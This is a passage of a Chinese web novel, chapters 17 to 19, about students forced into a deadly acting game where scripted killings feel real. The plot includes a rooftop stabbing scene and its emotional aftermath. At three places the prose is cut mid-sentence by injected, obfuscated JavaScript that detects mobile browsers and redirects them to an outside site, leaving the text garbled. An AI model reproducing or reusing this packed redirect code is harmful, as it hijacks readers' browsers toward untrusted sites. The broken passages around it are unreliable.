应如观并没有多想,以为她是在说前面一段拍摄尸体解剖的长镜头。“这个确实。不过毕竟只是演戏,就算不专业,在上面划拉两下应该也可以。剧本里没有强制要求要怎么做,只写了【解剖尸体】这四个字。” “原来是这样。”舒觉眯起眼睛,但仍然保持一点微笑,“虽然是演戏,不过应医生杀人的时候好干脆,有什么诀窍吗?” 似乎是觉得这句话有些怪异,她又补充一句:“说不定我以后也要演类似的情节,怕到时候害怕下不了手。” 应如观这才明白,她的“专业手法”是在说什么。他不动声色,只是简单道:“剧本上都会写指示的,按着那上面来就可以,比如说怎么闪避,怎么挥刀。也不用害怕,那些人虽然看起来真实,其实都只是一段投影,不是真的。” “原来那个人不是真人?”舒觉语调惊讶,“我还以为是哪里找来的群演之类的。” 应如观摇摇头,“不是。刀碰到的时候就知道了,完全不是活物的感觉。” 舒觉说:“那我就放心了。面对真人,怎样都还是很难下手。” 应如观拿起自己的杯子,往里面注入温水,他说:“希望事情不会走到那一步。” 舒觉只是微笑。她并不应答。 晚饭后,为了解决心中一些模糊的疑问,舒觉打算和应如观再聊聊。 所以现在,她正在前往泳池的路上。舒觉一边在泳池边小屋里更衣,一边暗骂“剧团长”给的语音文字转录太烂。刚刚那玩意儿不知怎的失灵了一下,没检测到苏彦说的话。如果不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467496|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人发了消息提醒她,她完全不知道苏彦说了话,更不知道他说了什么。 要是这玩意儿质量这么堪忧的话,她听不见这件事恐怕也瞒不了多久了。 她从更衣室里踩水走出去,就看见长方形泳池里一道飞影游动,如同利箭破开水面。应如观正游向泳池对面,姿态矫健优美,浅薄的月光落在他沉浮的身躯上。 舒觉等到他触到边,握住边缘暂时休息时,才刻意拨出巨大的水花声,落入水中。 应如观当然注意到了这边,他摘下泳镜箍在额前,舒觉面前字幕滚动:是舒觉吗? “是我,应医生。”舒觉答着,她也没多寒暄,扎入水中,以标准的自由泳姿势游到应如观那侧。待她浮出水面后,她看见应如观还在,眼神温和,嘴唇一张一闭:你游得很好。 “应先生也很厉害啊。您应该经常游泳吧。” “之前——大学之前确实游得挺多,到清源市后就游得少了。” 面前的字幕如是写着。舒觉心中一跳,先前模糊的预感被对应上了。“您不是清源市人吗?” “不是。我是南方人。” “我也是。”舒觉知道,赌一把的时刻到了,编好的谎话张口流出“我是参水市的,应医生呢?” 她看到他的眼睛因为意外略略张大。他说:“我也是。” 参水市,繁华与科技的代表,著名的犯罪之都,夸张点说一条大马路上可能就走着三个职业杀手。舒觉选择这座城市,是因为她在南方城市里只有这座比较了解,不至于一问就露馅。 但她也没料到,应如观居然就来自这座繁华与危险相差无几的都市。是什么让他逃离了那里,来到几千公里外的清源市? 她这边在思绪飞转,应如观继续道:“你也是吗?听不出有那边的口音。” “我老家在参水市,也就每年过年回去。主要还是在冀湖市住。”舒觉继续面不改色地扯谎,“说到口音,应医生也完全没南方口音啊。” “我改掉了。而且我也在在清源市住了很久,早就被同化了。”应如观回答她。接着他笑了一下,神情仿佛有点怀念。“想起来,我也很久没回去了。” 舒觉没问为什么。现在还不是能问这个的时候。相反,她说:“我之前有朋友说想去那边玩,问我有什么防身建议之类的,但我毕竟不是在那边长大,也不太了解规矩。您有什么好建议吗?” 应如观仔细思考一下,说:“不用太担心。只要你的朋友不靠近明光区,基本就不会出事。那边的杀手原则上不能对普通游客下手,不仅拿不到好处,还会被明光区封杀。除非,你的朋友先触犯了本地默认的规矩。” 舒觉维持表面恰到好处的尊敬和好奇,“原来是这样。具体有什么规矩呢?” “比如说不要多管闲事。”应如观说,“明光区的人很重视“责任”。你可以在明光区做任何事,前提是你负得起这个责任,后续不论发生什么,你都不会有后悔的机会。” 舒觉频频点头应和。应如观又讲了一些需要重点注意的地方,两人便沉默下来。半晌,舒觉决定切入正题。她说:“应先生。” 对方看她,示意自己在听。舒觉斟字酌句,慢慢讲道:“按照这个【白日堂皇】的发展,我想,很有可能后面会有我们的对手戏。” 应如观等待她的后文。“如果,那时候剧本需要您杀了我——” “您打算怎么做?” 17. 第 17 章 【某月,某日,冀湖大学城“青云得路”咖啡厅】 “你找我什么事?” “不能只是想和你出来玩?” “一般约人出来玩不需要辗转多人才能拿到别人的联系方式。” “好好。该怎么说呢……唔……” (从吸管喝饮料的声音) “你如果只是闲得无聊,想向我展示一下你调查别人的技术,那我就先走了。” “别走!别走!我就是想问问,你有没有一种,呃,感觉?” “什么感觉,劫后余生的感觉?” “不,是‘失去了什么’的感觉。” (一段沉默) “看你的表情,我说中了。我们是一样的。在那轮演绎里,我们丢失的不只是某个器官的某个功能……” “某种‘感觉’不能作为依据。不过……嗯。我可以告诉你一件事。” “我在听。” “自从回来之后,我开始记不住一些做过的梦。” “……我原本想说这很正常,但放在你身上,好吧,似乎的确有些不对。超忆症原来是可以连梦境都记得住吗?” “至少我可以。但回来之后,我似乎频繁在做一些相似的梦。场景是我们在被圈禁演绎时住的那栋宿舍楼的客厅,或者图书馆、公园。总之,就是我们待过的那个地方。” “相似在于?” “人物好像总是相同的。我,一个记不清样子的人,有时候会有你和其他那几个人。” “记不清样子的人?” “Ta总是出现。但我看不清Ta的脸,醒来也不记得梦境是什么内容。只是感觉……或许是个好梦。” “好梦,嗯。这倒挺意外。我以为在舞台内外发生的都尽是些让人不想回忆起来的事。不管是对你还是对我来说。” “我不否定这个说法。但那些梦的感觉,不像噩梦。至少我还没被吓醒过。好了,我说完了,你那边有类似的迹象吗?证据太少的话,我连自己都无法说服。” “我是没有的。但我经常只凭感觉走,目前还没错过。” “那你的‘感觉’告诉你要怎么走?” “我们应该回去。再来一次。” “——再来一次,那登上舞台的、身不由己的演出。” ***** 听到这个问题,应如观愣了一下,但并未显得特别惊讶。看来,他也对后续的演绎内容有所猜想。毕竟已经工作多年,心思比他们这帮大学生更缜密也是常事。 没等多久,舒觉便看到这位法医说:“如果剧本要求的就是【将徐青木杀死】,那么,我会照做。” 简单有力的回答。舒觉并不会对此感到不快,即使她会在演绎里遭受血光之灾。“那我就放心了。毕竟,我也不想看到您因为心软被惩罚。” “这样说来,你没问题吗?这种情况里,应该被杀的人才比较不好受吧。”应如观说着,面上的担忧不似作假。 舒觉笑了笑,“我没关系。毕竟只是痛一下,演戏结束后就好了。” 在她看来,杀人比被杀更需要心理准备。你要主动地对某个人出手,所承受的心理压力和需要的决心,在那一刻会超出你的想象。 在上一轮中,就有演员第一次面对这样的情况时无法作出决定,因此被惩罚。即使后来她重演了本段剧情,但亲手刺杀了某个【演员】、某个她认识并且就在她身边的人,还是让她产生了巨大的心理阴影,很长一段时间都无法走出。 不过,她相信应如观不会如此。他不像会被这种类型的表演动摇的人。 “如果真的出现这种要求,我会尽可能减少你的痛苦,完成这段表演。”应如观忽然这样说。他看着舒觉,姿态诚挚,在月下犹如佛前来普度世人。 舒觉答道:“那我就更放心了。” 她把话题拉回安全的地方:“话说三水市,原来那边的杀手不会对外地人下黑手啊。那我和朋友去逛的话,就敢在外面玩到十二点再回家了。” “还是不要那么晚回去比较好。你父母会担心的。” 他有点哭笑不得的样子。舒觉回道:“开玩笑的。我知道的啦。” 她对应如观微笑。对方神色微微恍惚,忽然说:“我有个妹妹。” 舒觉并不意外。她看着他继续说:“如果她还在的话,应该也大学毕业了。” 这就由不得她不意外了。舒觉面上一肃:“抱歉,让您想起伤心事了。” 应如观垂下目光。他说:“没关系,这不是你的错。她已经过世很久了。” 顿了片刻,他坦然道:“我们父母在我十五岁的时候去世了。一直以来,我们相依为命,我以为一直会这样。” 也许,这才是他一直没回去的原因。舒觉思忖着,小心翼翼发问:“是因为……?” “……意外。”应如观沉默片刻,这样说。 他明显不愿往下说了。舒觉明事理地打住,转向他处,“若能看到您事业有成,生活安稳,想必她在天有灵也会含笑守望吧。这样说来,虽然我们叫您医生,但法医和一般医生还是有很大不同吧?” 应如观神色恢复与平常无异,他说:“有都要学的部分,也有差别很大的地方。比如说……” 他忽然闭口,转而显出倾听的模样。舒觉还未来得及翻译,眼前字幕与应如观便同时说:舒觉!/“有人在喊你。” 一时不知该处理哪一边,但舒觉还是条件反射般回头。不远处的公园小径上,隐隐显出一个身影。 世界静寂,他在月光下向她飞奔而来。 那人越来越近,轮廓也越发清晰,祝时明气喘吁吁地在泳池边停下,张口就是:“你没事吧?” 这句话直把舒觉问懵了。她难得卡壳,半晌才说:“啊?” 那厢应如观却悟了,他打量两人,目光透出明了和饶感趣味。随后他双臂一撑池沿便翻身上去,含笑道:“那就不打扰你们了。我先走一步。” 什么打扰?什么你们?舒觉百思不得其解,直到看见祝时明追着应如观的眼神,有如警惕洪水猛兽。 一时间,被误解的无语、他居然能往这个方向想的好笑、套话被打断的烦躁,各种情绪混杂在一起,舒觉忍不住,无意识提高了音量喝道:“你脑子里到底在想什么?” 话一出口她才感觉不合适,以他们俩的关系,还不到能这样厉声的地步。然而祝时明毫无不悦之色,他反而半蹲下来,嘴唇小幅度动了几下:“我怕你有危险……” “我能有什么危险?”舒觉已经平复下来,她笑着反问他。祝时明一时语塞,不知该如何说明,半天也只是嗫嚅出几个字:“就是……” 看他就蹲在泳池边缘,舒觉不禁起了将他一把拉下水的坏心思。随后她猛地摇摇头,现在可不是开这种玩笑的时候,他们也还没到那么亲近的程度,这么做并不合适。 ——不过她隐隐感到,就算她这么做了,祝时明也不会和她生气的。 一线月光透过树叶间隙,洒在他的头发上。在虚假的夜空下,他金棕色的虹膜仿佛一盏明灯,始终坚定不移地燃烧、明亮,尽管微小,却不可忽视。 舒觉恍惚了一瞬。她莫名觉得熟悉,却不清楚这种感觉从何而来。她放弃思 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不过,祝时明倒也没那么好骗了:“你看都没看就能知道,后脑勺长眼睛了?” “哇哦,小明居然也会这么毒舌!”曲语冰大声感叹,此刻他终于转头,视线来回在两人面上打转。他露出揶揄的表情,对乔木说:“看来这场约会很成功。” 祝时明条件反射反驳:“别乱讲。我只是出去看一下她在哪里。” “哦,那就是约会了。”说着,曲语冰捅捅乔木,被后者避开了,“你是有经验的,你觉得这算不算约会?” “这挺好的。”乔木给出一个模棱两可,仿佛什么都回答了又什么都没回答的回答。曲语冰就当他是肯定了,大叫道:“你看,专业人士都这样说了!你就别否认——” “是啊我们约会了,没人能约会的单身狗就哭去吧。”舒觉微笑打断他,随机她对祝时明说:“我先去休息了。晚安。” 曲语冰识相地闭嘴了。女孩又和乔木、苏彦分别道别,就要上楼去。 此人又管不住自己嘴似的:“诶,为什么你只不和我说晚安?” “你需要吗?每天不知道干什么到天都亮了才睡的家伙,还需要晚上安宁?”舒觉甩给他一句,就上楼了。祝时明跟在她身后。 确认两个关门声后,苏彦忍不住说:“你就少说两句吧。” 曲语冰伸了个懒腰,“没事啦,他们都是好人,不会计较的。” 他笑意盈盈,仿佛早已预测一切。乔木说:“我也要去睡了。” 苏彦也差不多。于是棋局结束,乔木强硬地赶走两人,自己收拾。在他看来,无论谁来整理都达不到他的标准,不如他自己做。 苏彦先上去了。曲语冰留在客厅看他收拾,这时候,他反而收敛了玩笑神色,说:“他真的只是一见钟情?” 乔木将棋子一个一个排序放好,头也不抬说:“不排除有这种可能。” 曲语冰没说话。他大概是在担心舒觉会受此影响,进而影响他们的计划。乔木把飞行棋盒子盖上,说:“就算真的会有一个人的感情被玩弄,你觉得那个人会是她吗?” 他没有指名道姓,但两个人都知道是在讲谁。曲语冰凝视着他手指动作,语调仿佛漫不经心:“你别看她那样,其实很纯情的。” 乔木很怀疑这一点,但他不想和曲语冰争辩。他说:“无论如何,至少你应该相信她不是会因为私人感情而动摇判断的人。” 闻言,曲语冰表情古怪地笑笑。他说:“我们中有哪个人,不是因为‘私人感情’才又进来这里的?” 乔木无话可答。 18. 第 18 章 我很快确定了几个人选。 下一轮要被选进来演员一共是七个,他能自主选择的有五个,还有两个由投资方来决定。不管他们是想解决自己的竞争对手,还是真有人闲得无聊想来体验刺激,总之会给到他们一至两个名额,来对这轮演绎进行干涉。 很少有人不会被诱惑。“可以实现一切心愿的桃源乡”,只要按照规则,乖乖演戏,他的确能够实现绝大多数愿望。 不过,仍有他无法做到的事情。 但那甚至算不上一个弱点。只要这个世界没出现魔法,任何存在都做不到那种事吧。 他说五个人选可以由我决定四个。我当然是要参加这一轮演绎的,不过除此之外还会有七个人,其中很大一部分将会由我来选择。 几乎没多想,我就确定了J和Q。他们是曾经亲口说过,要回来、再把我带出去的人。我当然会把赌注压在他们身上。否则我还能信赖谁呢? 而且,他们都在上一轮失去了一项器官功能。如果顺利,如果有可能,我希望能在这轮里帮他们拿回来。他也承诺,如果真有一个人能想起我,记起我曾经存在过,他可以把他们被剥夺的器官功能都还回去。 至于剩下三个人……我需要再想想。我的家人?似乎是一个很大的希望。毕竟他们是这个世界上与我最亲近的人。 这应该是最优选。 那我又是在因为什么而不安? ***** 【剧目:堕天】 【演员甲:洛珠】 【演员乙:曲语冰】 洛珠紧紧咬住牙。 她正站在狂风吹拂的楼顶。废弃钢材互相叠搭,构成奇形怪状,扭曲的缝隙箭仿佛藏着无数幽魂,每当风一吹过,它们便齐声嚎叫。 她并不恐高,但面前状况已经超出她的能力:曲语冰身着校服,双手插兜,姿态随意地站在她面前。他念台词:“做得不错嘛,能追我到这里来。” 洛珠一瞥光幕,努力稳住语气,但一点咬牙切齿的意味都表演不出来:“你、你凭什么敢这样轻松!你以为这只是个玩笑?你以为、你以为我不敢——” “不敢把我从这里推下去?或者不敢用你手里的东西?还是说——”曲语冰拉长调子,声音嘲弄,“你连审判我都没有勇气?” 洛珠僵住了。她右手中是一柄水果刀。常见的款式,哪里都可以买到,是一种方便的伤人武器。她把手背在身后,企图掩饰那份颤抖。 即使害怕得想转头逃跑,她仍必须念出台词、完成表演。“住嘴!今天、今天就是一切结束的时候!你休想逃跑!” 曲语冰打量她几圈,他忽然站定,张开双臂,眼角弯起,“好啊,我不逃。你想怎么做?” “道歉!为你一直以来对我做的事、道歉!”她嘶喊,仅仅处于恐惧,而非剧本描绘的愤怒,“还有那些被你伤害过的同学,你也要道歉!” “嗯,对不起啦。我不该做那些事。”曲语冰说,用他平日就会有的轻飘飘的语气,“我道歉。” 洛珠愣住了。她连把台词念下去都差点忘了,但这个反应也算合理,并未被判定拒绝出演。 反而是曲语冰行云流水一般接下了剧情。“我不该说你是个小偷,不该联合其他人孤立你,不该往你的饭盒里放虫子、往你的作业本泼墨水、往你的鞋子里放订书钉。” “当然,对其他人做的事也不应该啦。对不起。”他仍带着点笑容,看上去和平时的曲语冰没有太多区别。洛珠醒转过来:对,这一切都是演戏,只是演戏而已。她不是被欺凌的那个女生,曲语冰也不是霸凌他人的混蛋。 她心中稍定,继续念出台词:“你——你——这就完了?你觉得这就够了?” “我道歉了呀。”他摊摊手。 “你这个——混帐!人渣!畜生不如的东西!你就这种态度?你以为你是在干什么?这也算道歉?” 曲语冰看上去还想说什么,但洛珠快速念出台词打断他:“闭嘴吧!我不想再听你的狡辩了!每次都是这样、每次都是这样——” 面前光幕滚出新一轮指示。洛珠看过去,霎时,她僵在原地。 ——【许馨】将水果刀捅进【王天枫】身体,并将他从高楼推下。 许馨是她,王天枫是曲语冰。也就是说,她要捅曲语冰一刀,并将他推下天台。 她无意识地倒吸一口气。手中的水果刀冰冷、沉重、锋利,是她无法使用的东西。她?要拿这个?捅另一个人一刀? 曲语冰站在原地没动。他看着她,眼神示意她行动。洛珠犹豫地向前走,她缓慢从背后亮出刀子,神色惶恐、茫然、暗藏惊恐。 她细声说:“我、我要捅了哦。” 曲语冰点了下头。他仍然神情自若,姿势放松,仿佛下一秒不是要被捅一刀,而是要和她来个拥抱。 他为什么能那么轻松?洛珠无法读心,不知道他想法。但要是她做受害者,绝不可能这个样子。 她试探性将手前伸。狂风呼啸,阴云四散奔逃,青亮刀刃在日光下炫目地折射,尖端触到曲语冰的衣服。他依旧是毫无防备,等待被剖开的姿态。 再往前。柔软的皮肉微微下限,回弹的力道通过刀尖传到掌心。下面是脏器在鼓动。那大概是胃,洛珠高中的时候学过生物。 用力。那会有怎样的后果?洛珠想起自己偶然看过的电视剧:白亮亮的锋刃没入皮肉,转动,血肉被搅动的黏腻声音像糖浆煮沸搅拌,再慢慢拔出来,湿淋淋的红色喷洒一地,混合着不知是什么脏器的黏连,刀子上挂满小虫子般的红白肉。 她想吐。但呕不出来。她想握紧右手,却只感到指缝逐渐松脱,塑胶刀柄仅凭摩擦力还存留在手中。 她能感到曲语冰在注视着她。目光平静,并不包含任何倾向,他任她宰割。 但正是这目光让她头晕目眩。洛珠死死咬住牙,深沉的地方反复一个声音催促:快动手!刺伤他!你要完成演绎,才不会被惩罚! 惩罚。洛珠恍惚地想起,似乎是要夺走她身上的什么东西。那一定很恐怖。她不想要。 但是、但是…… 这怎么可能做得到? 一个和你无冤无仇、同吃同住的人,你要怎么样才能拿着武器,割开他的身体? 如果这并不是假的怎么办?如果她伤害了他、但演戏结束后一切并没有还原怎么办?如果他死了怎么办? 说到底,谁能保证这一切会有结束的时候? 不行。不行。不行。我不行。 我做不到。 洛珠剧烈颤抖着。下一刻,那把刀子坠落,在地面弹动一下,跳开。“铛”的一声,如同子弹击中两人。 洛珠颓然跪倒在地。 同时,曲语冰也看到了下一幕的指引。他叹了声气,随着她动作蹲了下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467498|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把她的脸抬起来。那是一张抽泣不已,皱成一团的脸。洛珠惊恐地看着她,好像他才是那个要拿刀捅伤别人的人。 他动作轻柔,但固定住她的面颊,迫使她看向自己。他说:“你要拿出勇气来。” 他又很小声地快速说了一句:“我们可是在演戏啊。不要忘了。” 曲语冰捡起地上的水果刀,塞进她的手心。他拉着她站起来。 他们都看不到,但在旁观者看来,他们双手紧握,如同即刻要在这高空边缘跳一支舞。而舞曲的终止符是一方的死亡。 已经没有台词了,提示的光幕静止在他们面前。没有任何预兆,曲语冰握住洛珠的左腕,猛地一拽! “咕嘟”一声。洛珠低头一看,只剩刀柄露在他衣料外头。 她再抬头,曲语冰面色苍白,嘴唇抿紧。他居然一声惨叫也没发出来。 他说:“再见。” 曲语冰再度轻轻拉了一下她的双臂,这样看上去就像是她把他推下去。 他的鞋底磕了一下边沿的尖角。曲语冰望着她,似乎微微笑了一下。 他的手松开,向后倒去,消失在洛珠视野中。 洛珠条件反射向前奔去,那把沾满血的水果刀还握在手中。她向下看。 血色划开她的瞳孔,曲语冰坠落的轨迹,正如审判自天而临。 ***** 眼前一花,洛珠眨了下眼,明亮温暖的灯光洒落在她身上。她回到了宿舍楼的客厅。 狂风仿佛还在耳际,曲语冰微笑着坠落的身影挥之不去。洛珠颤抖地举起左手,用尽全力张合几次,其中没有黏腻的血液,没有浑浊的刀刃,什么也没有。 但那种感觉萦绕不息。洛珠骤然站起,冲到卫生间,猛地甩上门。她打开水龙头,不断冲洗着自己的左手,在毫无污渍的皮肤上用力搓洗。 直到整个卫生间都充斥着洗手液的香气,她才擦干净通红的左手,走出来,跌坐在沙发上。 这时她才注意到,四周空无一人。原本常踞客厅的乔木也不见踪影,空气里只有空调呼吸冷气的声音。太安静了。 曲语冰。这个名字像一道电光闪过她的脑海。他为什么不在这里? 所有最坏的可能一起浮现,如同海潮催垮了她。洛珠双手捂住脸,崩解般哭泣起来。 她已经丧失对时间的概念,直到一道声音落下:“嗯?你在这里啊。” 那是她最后听到过的音色。洛珠抬起脸,朦胧泪眼间,曲语冰正站在楼梯上,端着一个杯子,神色一如往常。 她张嘴,却什么也说不出来。压在头顶的巨石一瞬间化为沙砾,流散消逝,洛珠只感到一阵虚无。 随着曲语冰的走近,她也逐渐看清,对方身上毫发无伤,面色也并不苍白寡淡,他看上去就像个身体正常的人,还能活上不少年。 此人甚至穿着oversize的T恤和宽大裤子,一身睡衣似地走下来了,脚上也是趿着一双拖鞋。曲语冰把杯子放下,走到洛珠跟前,开玩笑似地说:“好啦,别哭了,我这不是还活着吗。” 他不说还好,一说洛珠又泪水溃堤了。她呜咽着,想找出一句合适的话——也许是庆幸,也许是道歉,她自己也说不清那是种什么感觉。 不过,不需要了。她似乎听到曲语冰轻叹一声,随后,一个温暖的东西凑了过来。 他伸出双臂,抱住了她。 19. 第 19 章 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:舒觉】 【演员丙:应如观】 昏暗室内,舒觉正跪坐在地上,面前散落着一沓信件,她在其中翻找、阅读、又匆匆丢弃。 肮脏的墙面和天花板沉默监视着她。她面无表情,但牙齿不自觉咬住嘴唇,暴露了内心的惊惧。那些陈旧的信纸在她手指间川流而过,字迹清晰地印刷入她脑海里。 半晌,她叹了声气。“不在这里吗?还是……” 她喃喃自语,又拆开一个信封读了起来。面前的抽屉还有一本相册,她并未打开。 突然,手机铃声打破了一室寂静。舒觉把手机抓过来,来电显示是“张警官”。 她脸上顿时露出不耐烦的神色,但还是划开了接听键。为着方便她开了扬声,姜满的声音立刻传出来:“怎样?你找到线索了吗?” “没有。”舒觉顿了一下,语气终于还是透出嘲讽,“你们警方筛查了几百遍都没漏洞的东西,再让我来看也是白费功夫。” “好吧,我这边也没进展。有消息再联系。” 女孩把手机扔到一边被褥间。她拿起相册,一张一张慢慢看过去。忽然,她在其中一页停下,抽出那张照片,对着顶上泛黄灯泡渗出来的光,细细查起来。 女孩清隽的后背在地上拉出一道长影。逐渐,另一个影子慢慢盖了上来,一点一点交织在一起,扭曲成诡诞的形状。 舒觉似有所感,她放下手,正要转过头去—— 一记钝响。女孩向前栽倒在床铺上。应如观站在她身后,双手握着球棍,刚刚才放下。他穿着一身黑衣,帽子压得很低,戴了口罩,看不清什么表情。 他扫视一圈舒觉身周,照片、信封、旧纸凌乱地堆叠在一起,泛黄的字迹密密麻麻流淌在他眼中,一时难以判断什么才是重要的线索。但这不属于他接受的委托范畴内,应如观便没有去管,放任自流。 只是,舒觉最后抽出的那张照片吸引了他的视线。他小心地走过去,套着塑料袋的鞋子沙沙作响。他捡起那张照片,模仿舒觉的动作,对着暗淡的顶灯,查看起来。 片刻后,应如观将那张照片塞入口袋。他弯腰,一把抱起舒觉,走了出去。 ***** 舒觉从演绎中回来,首先摸摸后脑勺。她刚刚在戏中被应如观扮演的反派敲了一闷棍,完全不是能说不痛的程度。效果是肉眼可观的:那一棒下去她直接倒地昏迷了。 “你还好吧?”祝时明问。他坐在她身边,两个人四周是散落的日光,透过头顶的树荫,星星点点落在地面。 舒觉放下手,叹口气:“还好。演完出来就没感觉了,只是还有被敲了一闷棍的印象。” 祝时明顿了一下,随后才说:“那确实挺吓人的。” 他们原本坐在公园里,享受附近小摊售卖的冷饮。最近调查陷入了瓶颈,天天泡图书馆也没找到什么线索——不仅是指向幕后凶手的,关于四十年前,和这个剧场有关的事件,到现在他们也无法确定究竟是什么。 因此,舒觉决定放个假。祝时明则是她在公园里碰上的,两个人就走一起了。通常来说,她并不是很喜欢身边有人,但祝时明是个能够沉默的人,即使不说话两人也不会尴尬。实际上,她还挺享受他的陪伴。 好像从一开始,她就对他印象很好。真是奇怪。她已经习惯了默认所有初次认识的人都心怀恶意,但看到祝时明的时候,她居然从未如此觉得。 “如果可以,我希望你能忘记。”思索间,她听到祝时明这样说。 舒觉诧异地望向他,“为什么这样说?”他不可能知道她有超忆症。她从未讲过。其他知道的人也不会多嘴。 她立时提高了警惕。祝时明愣了一下,有点紧张地说:“呃,毕竟,你记忆力很强。” 他又解释道:“之前我们在一起查找资料,明明只看了一次那卷资料的标题和位置,隔了一段时间我提起来的时候,你马上就能说出来。当时我就觉得,你的记性也太好了。” 舒觉说:“原来是这样。”她放下心来。 祝时明看上去也松了口气。他说:“好像同时段还有一组人在演戏。要不要看一下?” 正在演绎的剧目是可以实时观看的,但结束后就会关闭,所以,想要观察他人在演绎中的表现只有这个时段。在演绎开始的时刻,会同步向所有人的手环进行通知,强制弹出,不必担心会错过。 “是谁在演?” “曲语冰和洛珠。” “那看看吧。”舒觉说,“用你的手环。” 祝时明点开光屏,调整到他和舒觉都可观看的模式,开始放映那两人共演的剧目。 为了看得更清楚些,舒觉靠了过去,祝时明注意到她的动作,把光屏移过去一些。 这种时候他又完全不紧张了。倒不如说,看上去相当习惯。她大概永远也搞不清他的距离感是如何判断。 那刚好是洛珠与曲语冰在天台对峙的片段。由于舒觉刚刚才回来,他们只赶上了末班车,先前那两位已经演了快四十分钟。 一次演绎也差不多是这样的时长。两人沉默地观看这场表演,直到洛珠松开刀柄、跌坐在地,祝时明才说:“糟了。” 他语气严肃,眉头紧拧,是真切地在担忧。舒觉看了他一眼,不由自主说:“还没警告,她还有机会。” “我担心她做不到。”他简短地说。而后续也如他所料。曲语冰拉着洛珠的手刺向自己、再从天台边缘落下,全程都是他在主导,洛珠不需要做出任何抉择。 “他救了她一次。”舒觉看着演绎画面关闭,评价道。她面容平静,语气镇定,心中并无太大波动。在她看来,曲语冰的行为是出于不想受惩罚,因此他必须一个人推动,去将这场戏演完。 不过,论迹不论心。不管他是出于什么动机,他帮了她这个事实都不会更改。这也能更牢固洛珠和他们的纽带,是件好事。至于曲语冰,她清楚这点程度根本伤不到他精神分毫。 祝时明忽然站起。舒觉正疑惑,他转头对她说:“我们回去看看情况。” 虽然没能立刻理解,舒觉还是配合地起身。她说:“你也不用太担心——” “我不是说曲语冰。”他打断她,罕见地,“我是说,洛珠的状态可能不太好。” 舒觉反应过来,她跟上他的脚步。在他脸上,她看见焦急与忧虑,隐秘的愧疚。 这并不是说祝时明掩饰得不好。但她轻易读懂了他的心情。就像她曾经这么做过,在一次次猜测和验证中找到了正确的解法。 她摇摇头,将这段思绪抛到脑后。 ***** 舒觉走在祝时明前头,她先打开大门。然而进去第一眼就是沙发边相拥的两人。她高高挑起眉,脸上表情一时间难以言喻,硬要形容可说是介于匪夷所思和大受震撼之间。 祝时明随即进来,他先看到她的侧脸,不禁问:“怎么……”然后也看到了客厅里的那副画面。当然,与舒觉不同,他露出了宽慰的神情,仔细看甚至能看出感动。 舒觉用从未有过的小声说:“可能,我们回来得不太是时候。” 祝时明也小声回答:“我也觉得。” 但门都开了,再往外走也不太合适。因此两人还是走到客厅。没等舒觉说什么,曲语冰先向他们投来目光,他笑笑,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471142|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸洛珠的头发后松开对方,语气自然:“你们回来了。” 舒觉点了下头。她有点不知道要说什么,安慰人不是她的长项。祝时明反而几步走到洛珠跟前,小声和她说起话,她听不见是什么,但从他表情与姿态也能猜出是鼓励的话语。 曲语冰看他一眼,笑着说:“小明比我会说话多了。” “嗯?”他语速有点快,舒觉没看太清楚。 就在曲语冰要再重复一遍时,楼梯上出现一道身影。两人同时抬眼望去,是一张清稚的面容。 双胞胎里的弟弟,邹玉衡走下来。他目光慢慢在他们每个人身上扫了一圈,最后定格在仍然满面泪痕的洛珠那里。 他慢慢走来,温吞地问道:“她怎么了?” “第一次拿刀捅别人,被吓到了。”舒觉一句话总结。 曲语冰看她一眼,说:“被逼着做这种事,谁都不会好受。” 邹玉衡“哦”了一声。他也到洛珠身前,随后,单膝跪了下去。 他看着女孩的眼睛,认真地说:“不用害怕。你没有伤害过任何人。也没有人伤害你。” “那都是假的。”他说,“只是演戏而已。那里发生的任何事,都不会成真。” “你没有伤害过任何人。”他又重复,“你不会有事的。” 洛珠愣愣地看着他。祝时明侧立一旁,眼睫轻轻颤动,底下的金棕色旋转着模糊的轮涡。邹玉衡仰头望着她,自下而上的姿态,如同虔诚地立誓。 放在中世纪油画里,那想必会是公主、骑士与无名氏。舒觉漫无目的联想,随意一瞥,却发现曲语冰异常的神情。他看着那处,唇角毫无笑意,几乎能算作严肃。 她不禁点了下他肩侧。曲语冰立时转目,遇上她眼神又恢复成平时散漫模样,他说:“真动人,是不是?” 一时之间,舒觉并不清楚该赞同还是否定。最终她含糊地说:“也许吧。” 那厢安慰完了,邹玉衡站起身,像什么都没发生一样,轻盈离去了。洛珠突然不好意思起来,她说想一个人待一会儿,便匆匆上楼回房间了。祝时明坐到沙发上,看起来有些忧虑和疲倦。 半晌,他说:“已经开始出现这种剧情了。” 